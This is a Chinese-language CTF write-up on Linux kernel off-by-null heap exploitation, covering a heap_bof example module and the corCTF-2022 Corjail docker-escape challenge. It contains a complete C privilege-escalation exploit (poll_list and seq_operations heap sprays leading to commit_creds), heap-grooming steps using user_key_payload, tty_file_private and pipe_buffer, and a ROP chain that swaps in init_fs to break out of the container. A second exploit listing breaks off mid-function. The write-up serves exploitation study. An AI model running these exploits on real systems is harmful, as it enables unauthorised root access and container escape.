Linux kernel 堆溢出利用方法(二)
前言 本文我们通过我们的老朋友heap_bof来讲解Linux kernel中off-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape来深入了解这种漏洞的利用手法。(没了解过docker逃逸的朋友也可以看懂,毕竟有了root权限后,docker逃逸就变的相对简单了)。 off by null 我们还是使用上一篇的例题heap_bof来讲解这种利用手法,现在我们假设这道题没有提供free,并且只有单字节溢出,并且溢出的单字节只能是NULL,那么我们应该怎麼去利用呢? 利用思路 boot.sh #!/bin/bash qemu-system-x86_64 \  -initrd rootfs.img \  -kernel bzImage \  -m 1G \  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \  -monitor /dev/null \  -s \  -cpu kvm64 \  -smp cores=1,threads=2 \  --nographic poll系统调用 /* *   @fds: pollfd类型的一个数组 *   @nfds: 前面的参数fds中条目的个数 *   @timeout: 事件发生的毫秒数 */ int poll(struct pollfd *fds, nfds_t nfds, int timeout); poll_list 结构体对象是在调用 poll() 时分配,该调用可以监视 1 个或多个文件描述符的活动。 struct pollfd { int fd; short events; short revents; }; struct poll_list {    struct poll_list *next; // 指向下一个poll_list    int len; // 对应于条目数组中pollfd结构的数量    struct pollfd entries[]; // 存储pollfd结构的数组 }; poll_list 结构如下图所示,前 30 个 poll_fd 在栈上,后面的都在堆上,最多 510 个 poll_fd 在一个堆上的 poll_list 上,堆上的 poll_list 最大为 0x1000。 poll_list 分配/释放 do_sys_poll 函数完成 poll_list 的分配和释放。poll_list 的是超时自动释放的,我们可以指定 poll_list 的释放时间。 #define POLL_STACK_ALLOC 256 #define PAGE_SIZE 4096 //(4096-16)/8 = 510(堆上存放pollfd最大数量) #define POLLFD_PER_PAGE ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd)) //(256-16)/8 = 30 (栈上存放pollfd最大数量) #define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list)) / sizeof(struct pollfd)) [...] static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds, struct timespec64 *end_time) {    struct poll_wqueues table;    int err = -EFAULT, fdcount, len;    /* Allocate small arguments on the stack to save memory and be       faster - use long to make sure the buffer is aligned properly       on 64 bit archs to avoid unaligned access */                    /*    * [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry    */    long stack_pps[POLL_STACK_ALLOC/sizeof(long)];    struct poll_list *const head = (struct poll_list *)stack_pps;    struct poll_list *walk = head; unsigned long todo = nfds; if (nfds > rlimit(RLIMIT_NOFILE)) return -EINVAL; /* * [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间 */ len = min_t(unsigned int, nfds, N_STACK_PPS); for (;;) { walk->next = NULL; walk->len = len; if (!len) break; if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len)) goto out_fds; todo -= walk->len; if (!todo) break;        /*        * [3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。        * 每个page 最多存 POLLFD_PER_PAGE (510) 个entry,        * 超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry        */ len = min(todo, POLLFD_PER_PAGE);        /*        *   [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k        */ walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL); if (!walk) { err = -ENOMEM; goto out_fds; } } poll_initwait(&table);    /*    * [5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。    *   这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。    */ fdcount = do_poll(head, &table, end_time);   poll_freewait(&table); if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and) goto out_fds; for (walk = head; walk; walk = walk->next) { struct pollfd *fds = walk->entries; int j; for (j = walk->len; j; fds++, ufds++, j--) unsafe_put_user(fds->revents, &ufds->revents, Efault); } user_write_access_end(); err = fdcount; out_fds: walk = head->next; while (walk) { // [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用 struct poll_list *pos = walk; walk = walk->next; kfree(pos); } return err; Efault: user_write_access_end(); err = -EFAULT; goto out_fds; } 我们可以去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去损坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以考虑利用堆喷去构造 UAF 了。 详细流程 首先分配 kmalloc-4096 大小的结构题在ptr[0]; 然后构造这样的poll_list结构体。 利用off-by-null将poll_list->next的最后一个字节改为空。然后大量分配kmalloc-32的obj内存,这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。运气好可以被我们篡改后的poll_list->next指到。但对于这道题来说我们没有足够的堆块用于堆喷,所以成功率是极低的。 等待poll_list线程执行完毕,并且我们分配的kmalloc-32被错误释放,分配大量的seq_operations,运气好可以正好被分配到我们释放的kmalloc-32,形成UAF,这样我们就可以利用UAF修改seq_operations->start指针指向提权代码。 提权可以参考上一篇文章,利用栈上的残留值来bypass kaslr。 exp #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include <asm/ldt.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <linux/keyctl.h> #include <linux/userfaultfd.h> #include <poll.h> #include <pthread.h> #include <sched.h> #include <semaphore.h> #include <signal.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/sem.h> #include <sys/shm.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/xattr.h> #include <unistd.h> #include <sys/sysinfo.h> #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_EDIT 8 #define BOF_READ 9 #define SEQ_NUM (2048 + 128) #define TTY_NUM 72 #define PIPE_NUM 1024 #define KEY_NUM 199 char buf[0x20]; int bof_fd; int key_id[KEY_NUM]; #define N_STACK_PPS 30 #define POLL_NUM 0x1000 #define PAGE_SIZE 0x1000 struct param {    size_t len;        // 内容长度    char *buf;         // 用户态缓冲区地址    unsigned long idx; // 表示 ptr 数组的 索引 }; size_t user_cs, user_rflags, user_sp, user_ss; void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;");    puts("[*] status has been saved."); } void get_shell(void) {    system("/bin/sh"); } void qword_dump(char *desc, void *addr, int len) {    uint64_t *buf64 = (uint64_t *) addr;    uint8_t *buf8 = (uint8_t *) addr;    if (desc != NULL) {        printf("[*] %s:\n", desc);   }    for (int i = 0; i < len / 8; i += 4) {        printf(" %04x", i * 8);        for (int j = 0; j < 4; j++) {            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");       }        printf("   ");        for (int j = 0; j < 32 && j + i * 8 < len; j++) {            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');       }        puts("");   } } /*--------------------------------------------------------------------------------------------------*/ struct callback_head {    struct callback_head *next;    void (*func)(struct callback_head *head); } __attribute__((aligned(sizeof(void *)))); #define rcu_head callback_head #define __aligned(x)                   __attribute__((__aligned__(x))) typedef unsigned long long u64; struct user_key_payload {    struct rcu_head rcu;        /* RCU destructor */    unsigned short datalen;    /* length of this data */    char data[0] __aligned(__alignof__(u64)); /* actual data */ }; int key_alloc(int id, void *payload, int payload_len) {    char description[0x10] = {};    sprintf(description, "pwn_%d", id);    return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING); } int key_update(int id, void *payload, size_t plen) {    return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen); } int key_read(int id, void *bufer, size_t buflen) {    return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen); } int key_revoke(int id) {    return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0); } int key_unlink(int id) {    return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING); } /*--------------------------------------------------------------------------------------------------*/ pthread_t tid[40]; typedef struct {    int nfds, timer; } poll_args; struct poll_list {    struct poll_list *next;    int len;    struct pollfd entries[]; }; void* alloc_poll_list(void *args) {    int nfds = ((poll_args *) args)->nfds;    int timer = ((poll_args *) args)->timer;    struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));    for (int i = 0; i < nfds; i++) {        pfds[i].fd = open("/etc/passwd", O_RDONLY);        pfds[i].events = POLLERR;   }    poll(pfds, nfds, timer); } void* create_poll_list(size_t size, int timer, int i) {    poll_args *args = calloc(1, sizeof(poll_args));    args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;    args->timer = timer;    pthread_create(&tid[i], NULL, alloc_poll_list, args); } /*--------------------------------------------------------------------------------------------------*/ struct list_head {    struct list_head *next, *prev; }; struct tty_file_private {    struct tty_struct *tty;    struct file *file;    struct list_head list; }; struct page; struct pipe_inode_info; struct pipe_buf_operations; struct pipe_bufer {    struct page *page;    unsigned int offset, len;    const struct pipe_buf_operations *ops;    unsigned int flags;    unsigned long private; }; struct pipe_buf_operations {    int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);    void (*release)(struct pipe_inode_info *, struct pipe_bufer *);    int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);    int (*get)(struct pipe_inode_info *, struct pipe_bufer *); }; /*--------------------------------------------------------------------------------------------------*/ void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340; void *init_cred = (void *) 0xFFFFFFFF81E496C0; size_t user_rip = (size_t) get_shell; size_t kernel_offset; void get_root() {    __asm__(        "mov rax, [rsp + 8];"        "mov kernel_offset, rax;"   );    kernel_offset -= 0xffffffff81229378;    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);    init_cred = (void *) ((size_t) init_cred + kernel_offset);    commit_creds(init_cred);    __asm__(        "swapgs;"        "push user_ss;"        "push user_sp;"        "push user_rflags;"        "push user_cs;"        "push user_rip;"        "iretq;"   ); } /*--------------------------------------------------------------------------------------------------*/ int main() {    save_status();    signal(SIGSEGV, (void *) get_shell);    bof_fd = open("dev/bof", O_RDWR);    int seq_fd[SEQ_NUM];    printf("[*] try to alloc_kmalloc-4096\n");    size_t* mem = malloc(0x1010);    memset(mem, '\xff', 0x1010);    struct param p = {0x1000, (char*)mem, 0};    ioctl(bof_fd, BOF_MALLOC, &p);    printf("[*] try to spary kmalloc-32\n");    p.len = 0x20;    for (int i = 1; i < 20; ++i)   {        p.idx = i;        memset(mem, i, 0x20);        memset(mem, 0, 0x18);        ioctl(bof_fd, BOF_MALLOC, &p);        ioctl(bof_fd, BOF_EDIT, &p);   }    printf("[*] try to alloc_poll_list\n");    for (int i = 0; i < 14; ++i)   {        create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);   }    printf("[*] try to spary kmalloc-32\n");    p.len = 0x20;    for (int i = 20; i < 40; ++i)   {        p.idx = i;        memset(mem, i, 0x20);        memset(mem, 0, 0x18);        ioctl(bof_fd, BOF_MALLOC, &p);        ioctl(bof_fd, BOF_EDIT, &p);   }    sleep(1); // 调试用代码 //   p.len = 0x1010; //   p.idx = 0; //   ioctl(bof_fd, BOF_READ, &p); //   printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);    p.len = 0x1001;    p.idx = 0;    memset(mem, '\x00', 0x1001);    ioctl(bof_fd, BOF_EDIT, &p);    void *res;    for (int i = 0; i < 14; ++i)   {        printf("[*] wating for poll end\n");        pthread_join(tid[i], &res);   }    for (int i = 0; i < 256; ++i)   {        seq_fd[i] = open("/proc/self/stat", O_RDONLY);   }    sleep(1);    for (int i = 1; i < 40; ++i)   {        p.idx = i;        p.len = 0x20;        ioctl(bof_fd, BOF_READ, &p);        printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);        printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);        printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);        printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);        mem[0] = (size_t*)get_root;        mem[1] = (size_t*)get_root;        mem[2] = (size_t*)get_root;        mem[3] = (size_t*)get_root;        ioctl(bof_fd, BOF_EDIT, &p);   }    for (int i = 1; i < 40; ++i)   {        p.idx = i;        p.len = 0x20;        ioctl(bof_fd, BOF_READ, &p);        printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);        printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);        printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);        printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);   }    for (int i = 0; i < 256; i++) {        read(seq_fd[i], p.buf, 1);   }    return 0; } corCTF-2022:Corjail 题目分析 我们可以使用 Guestfish 工具读取和修改 qcow2 文件。 run_challenge.sh #!/bin/sh qemu-system-x86_64 \    -m 1G \    -nographic \    -no-reboot \    -kernel bzImage \    -append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \    -hda coros.qcow2 \    -snapshot \    -monitor /dev/null \    -cpu qemu64,+smep,+smap,+rdrand \    -smp cores=4 \    --enable-kvm init脚本 查看服务进程/etc/systemd/system/init.service; Description=Initialize challenge [Service] Type=oneshot ExecStart=/usr/local/bin/init [Install] WantedBy=multi-user.target 查看 /usr/local/bin/init 脚本; cat /usr/local/bin/init #!/bin/bash USER=user FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}') useradd --create-home --shell /bin/bash $USER echo "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '" >> /root/.bashrc echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrc chmod -r 0700 /home/$USER mv /root/temp /root/$FLAG chmod 0400 /root/$FLAG password ❯ guestfish --rw -a coros.qcow2 ><fs> run ><fs> list-filesystems /dev/sda: ext4 ><fs> mount /dev/sda / ><fs> cat /etc/password libguestfs: error: download: /etc/password: No such file or directory ><fs> cat /etc/passwd root:x:0:0:root:/root:/usr/local/bin/jail daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...... root_shell 查看root用户的/usr/local/bin/jail; ><fs> cat /usr/local/bin/jail #!/bin/bash echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...' /usr/bin/docker run -it --user user \ --hostname CoRJail \    --security-opt seccomp=/etc/docker/corjail.json \    -v /proc/cormon:/proc_rw/cormon:rw corcontainer /bin/bash /usr/sbin/poweroff -f 发现其启动root的 shell 后是首先调用 docker来构建了一个容器然后关闭自身,在那之后我们起的虚拟环境就是处于该docker容器当中。 为了方便调试,我们可以使用edit将其修改为: ><fs> edit /usr/local/bin/jail ><fs> cat /usr/local/bin/jail #!/bin/bash echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...' cp /exploit /home/user || echo "[!] exploit not found, skipping" chown -R user:user /home/user echo 0 > /proc/sys/kernel/kptr_restrict /usr/bin/docker run -it --user root \  --hostname CoRJail \  --security-opt seccomp=/etc/docker/corjail.json \  # 允许容器能够调用与日志相关的系统调用  --cap-add CAP_SYSLOG \  # 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。  -v /proc/cormon:/proc_rw/cormon:rw \  # 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host  -v /home/user/:/home/user/host \ corcontainer /bin/bash /usr/sbin/poweroff -f edit 的用法和 vim 一样。 后面我们上传 exp 的时候可以使用 upload 命令,其格式如下: ><fs> help upload NAME   upload - upload a file from the local machine SYNOPSIS     upload filename remotefilename DESCRIPTION   Upload local file filename to remotefilename on the filesystem.   filename can also be a named pipe.   See also "download". kernel_patch diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c --- a/arch/x86/entry/syscall_64.c 2022-06-29 08:59:54.000000000 +0200 +++ b/arch/x86/entry/syscall_64.c 2022-07-02 12:34:11.237778657 +0200 @@ -17,6 +17,9 @@ #define __SYSCALL_64(nr, sym) [nr] = __x64_##sym, +DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count); +EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count); + asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = { /* * Smells like a compiler bug -- it doesn't work diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h --- a/arch/x86/include/asm/syscall_wrapper.h 2022-06-29 08:59:54.000000000 +0200 +++ b/arch/x86/include/asm/syscall_wrapper.h 2022-07-02 12:34:11.237778657 +0200 @@ -245,7 +245,7 @@ * SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI() * macros to work correctly. */ -#define SYSCALL_DEFINE0(sname) \ +#define __SYSCALL_DEFINE0(sname) \ SYSCALL_METADATA(_##sname, 0); \ static long __do_sys_##sname(const struct pt_regs *__unused); \ __X64_SYS_STUB0(sname) \ diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h --- a/include/linux/syscalls.h 2022-06-29 08:59:54.000000000 +0200 +++ b/include/linux/syscalls.h 2022-07-02 12:34:11.237778657 +0200 @@ -82,6 +82,7 @@ #include <linux/key.h> #include <linux/personality.h> #include <trace/syscall.h> +#include <asm/syscall.h> #ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER /* @@ -202,8 +203,8 @@ } #endif -#ifndef SYSCALL_DEFINE0 -#define SYSCALL_DEFINE0(sname) \ +#ifndef __SYSCALL_DEFINE0 +#define __SYSCALL_DEFINE0(sname) \ SYSCALL_METADATA(_##sname, 0); \ asmlinkage long sys_##sname(void); \ ALLOW_ERROR_INJECTION(sys_##sname, ERRNO); \ @@ -219,9 +220,41 @@ #define SYSCALL_DEFINE_MAXARGS 6 -#define SYSCALL_DEFINEx(x, sname, ...) \ - SYSCALL_METADATA(sname, x, __VA_ARGS__) \ - __SYSCALL_DEFINEx(x, sname, __VA_ARGS__) +DECLARE_PER_CPU(u64[], __per_cpu_syscall_count); + +#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \ + static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__)); + +#define __SYSCALL_COUNT(syscall_nr) \ + this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)]) + +#define SYSCALL_COUNT_FUNCx(sname, x, ...) \ + { \ + __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr); \ + return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__)); \ + } \ + static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__)) + +#define SYSCALL_COUNT_DECLARE0(sname) \ + static inline long __count_sys_##sname(void); + +#define SYSCALL_COUNT_FUNC0(sname) \ + { \ + __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr); \ + return __count_sys_##sname(); \ + } \ + static inline long __count_sys_##sname(void) + +#define SYSCALL_DEFINEx(x, sname, ...) \ + SYSCALL_METADATA(sname, x, __VA_ARGS__) \ + SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__) \ + __SYSCALL_DEFINEx(x, sname, __VA_ARGS__) \ + SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__) + +#define SYSCALL_DEFINE0(sname) \ + SYSCALL_COUNT_DECLARE0(sname) \ + __SYSCALL_DEFINE0(sname) \ + SYSCALL_COUNT_FUNC0(sname) #define __PROTECT(...) asmlinkage_protect(__VA_ARGS__) diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c --- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200 +++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200 @@ -101,7 +101,7 @@ return NULL; } -static struct syscall_metadata *syscall_nr_to_meta(int nr) +struct syscall_metadata *syscall_nr_to_meta(int nr) { if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR)) return xa_load(&syscalls_metadata_sparse, (unsigned long)nr); @@ -111,6 +111,7 @@ return syscalls_metadata[nr]; } +EXPORT_SYMBOL(syscall_nr_to_meta); const char *get_syscall_name(int syscall) { @@ -122,6 +123,7 @@ return entry->name; } +EXPORT_SYMBOL(get_syscall_name); static enum print_line_t print_syscall_enter(struct trace_iterator *iter, int flags, 其中 +DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count); 为每个CPU都创建一个 __per_cpu_syscall_count变量用来记录系统调用的次数。 seccomp.json 保存了系统调用的白名单。 { "defaultAction": "SCMP_ACT_ERRNO", "defaultErrnoRet": 1, "syscalls": [ { "names": [ "_llseek", "_newselect", "accept", "accept4", "access", ... ], "action": "SCMP_ACT_ALLOW" }, { "names": [ "clone" ], "action": "SCMP_ACT_ALLOW", "args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ] } ] } 根据README.md提示,可以在proc_rw/cormon看到使用到的系统调用在各个CPU当中的情况。 root@CoRJail:/# cat /proc_rw/cormon     CPU0     CPU1     CPU2     CPU3 Syscall (NR)         9        16        25        18 sys_poll (7)         0         0         0         0 sys_fork (57)        66        64        79        60 sys_execve (59)         0         0         0         0 sys_msgget (68)         0         0         0         0 sys_msgsnd (69)         0         0         0         0 sys_msgrcv (70)         0         0         0         0 sys_ptrace (101)        15        19        11         6 sys_setxattr (188)        27        24        11        20 sys_keyctl (250)         0         0         2         2 sys_unshare (272)         0         1         0         0 sys_execveat (322) 也可以指定系统调用。 root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon root@CoRJail:/# cat /proc_rw/cormon     CPU0     CPU1     CPU2     CPU3 Syscall (NR)         0         0         0         0 sys_msgsnd (69)         0         0         0         0 sys_msgrcv (70) src.c 可以看到 write 存在明显的off-by-null。 static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) {    loff_t offset = *ppos;    char *syscalls;    size_t len;    if (offset < 0)        return -EINVAL;    if (offset >= PAGE_SIZE || !count)        return 0;    len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;    syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);    printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);    if (!syscalls)   {        printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");        return -ENOMEM;   }    if (copy_from_user(syscalls, ubuf, len))   {        printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");        return -EFAULT;   }    syscalls[len] = '\x00';    if (update_filter(syscalls))   {        kfree(syscalls);        return -EINVAL;   }    kfree(syscalls);    return count; } 利用思路 在 poll_list 利用方式中: 先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload。 这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。 然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object。 触发 off by null,修改 poll_list.next 的低字节为 \x00,这里可能导致其指向某个 user_key_payload。 然后等待 timeout 后, 就会导致某个 user_key_payload 被释放,导致 UAF。 详细流程如下: 首先,我们要打开有漏洞的模块。使用bind_core()将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。 void bind_core(bool fixed, bool thread) {    cpu_set_t cpu_set;    CPU_ZERO(&cpu_set);    CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);    if (thread) {        pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);   } else {        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);   } } 喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20 的 poll_list 。 此时内存中 object 的分布如下图所示,其中黄色的是 user_key_payload ,绿色的是 poll_list ,白色是空闲 object 。 通过 off by null 修改 0x1000 大小的 poll_list ,使得指向 0x20 大小 poll_list 的 next 指针指向 user_key_payload 。之后释放所有的 poll_list 结构,被 next 指向的的 user_key_payload 也被释放,形成 UAF 。 注意,为了确保释放 poll_list 不出错,要保证 0x20 大小的 poll_list 的 next 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化,因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。 static long setxattr(struct dentry *d, const char __user *name, const void __user *value, size_t size, int flags) { int error; void *kvalue = NULL; char kname[XATTR_NAME_MAX + 1]; [...] if (size) { [...] kvalue = kvmalloc(size, GFP_KERNEL); // 申请kmalloc-x if (!kvalue) return -ENOMEM;        // 修改kmalloc-x内容 if (copy_from_user(kvalue, value, size)) { error = -EFAULT; goto out; } [...] } error = vfs_setxattr(d, kname, kvalue, size, flags); out: kvfree(kvalue); // 释放kmalloc-x return error; } 另外实测 kmalloc-32 的 freelist 偏移为 16 字节,不会覆盖 next 指针。 喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读, user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); }; struct user_key_payload { struct rcu_head rcu; /* RCU destructor */ unsigned short datalen; /* length of this data */ char data[0] __aligned(__alignof__(u64)); /* actual data */ }; struct callback_head { struct callback_head *next; void (*func)(struct callback_head *head); } __attribute__((aligned(sizeof(void *)))); #define rcu_head callback_head 之后释放不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ,我们定义这个地址为 target_object 。 释放 seq_operations ,喷射 0x20 大小的 poll_list 。现在UAF的堆块被user_key_payload和poll_list占领。在 poll_list 被释放前,释放劫持的 user_key_payload ,利用 setxattr 修改 poll_list 的 next 指针指向 target_object - 0x18,方便后续伪造pipe_buffer 。为了实现 setxattr 的喷射效果,setxattr 修改过的 object 通过申请 user_key_payload 劫持,确保下次 setxattr 修改的是另外的 object。 打开 /dev/ptmx 时会分配 tty_file_private 并且该结构体的 tty 指针会指向 tty_struct 。 int tty_alloc_file(struct file *file) { struct tty_file_private *priv; priv = kmalloc(sizeof(*priv), GFP_KERNEL); if (!priv) return -ENOMEM; file->private_data = priv; return 0; } // kmalloc-32 | GFP_KERNEL struct tty_file_private { struct tty_struct *tty; struct file *file; struct list_head list; }; 趁 poll_list 还没有释放,释放 tty_struct 并申请 pipe_buffer ,将 target_object(tty_struct) 替换为 pipe_buffer 。 struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private;}; 之后 poll_list 释放导致 target_object - 0x18 区域释放。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ,从而劫持 pipe_buffer->ops 实现控制流劫持。 docker逃逸 具体实现为修改 task_struct 的 fs 指向 init_fs 。用 find_task_by_vpid() 来定位Docker容器任务,我们用switch_task_namespaces()。但这还不足以从容器中逃逸。在Docker容器中,setns() 被seccomp默认屏蔽了,我们可以克隆 init_fs 结构,然后用find_task_by_vpid()定位当前任务,用 gadget 手动安装新fs_struct。    // commit_creds(&init_creds)    *rop++ = pop_rdi_ret;    *rop++ = init_cred;    *rop++ = commit_creds;    // current = find_task_by_vpid(getpid())    *rop++ = pop_rdi_ret;    *rop++ = getpid();    *rop++ = find_task_by_vpid;    // current->fs = &init_fs    *rop++ = pop_rcx_ret;    *rop++ = 0x6e0;    *rop++ = add_rax_rcx_ret;    *rop++ = pop_rbx_ret;    *rop++ = init_fs;    *rop++ = mov_mmrax_rbx_pop_rbx_ret;    rop++; exp #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include <asm/ldt.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <linux/keyctl.h> #include <linux/userfaultfd.h> #include <poll.h> #include <pthread.h> #include <sched.h> #include <semaphore.h> #include <signal.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/sem.h> #include <sys/shm.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/xattr.h> #include <unistd.h> #include <sys/sysinfo.h> #define PAGE_SIZE 0x1000 int randint(int min, int max) {    return min + (rand() % (max - min)); } void bind_core(bool fixed, bool thread) {    cpu_set_t cpu_set;    CPU_ZERO(&cpu_set);    CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);    if (thread) {        pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);   } else {        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);   } } void qword_dump(char *desc, void *addr, int len) {    uint64_t *buf64 = (uint64_t *) addr;    uint8_t *buf8 = (uint8_t *) addr;    if (desc != NULL) {        printf("[*] 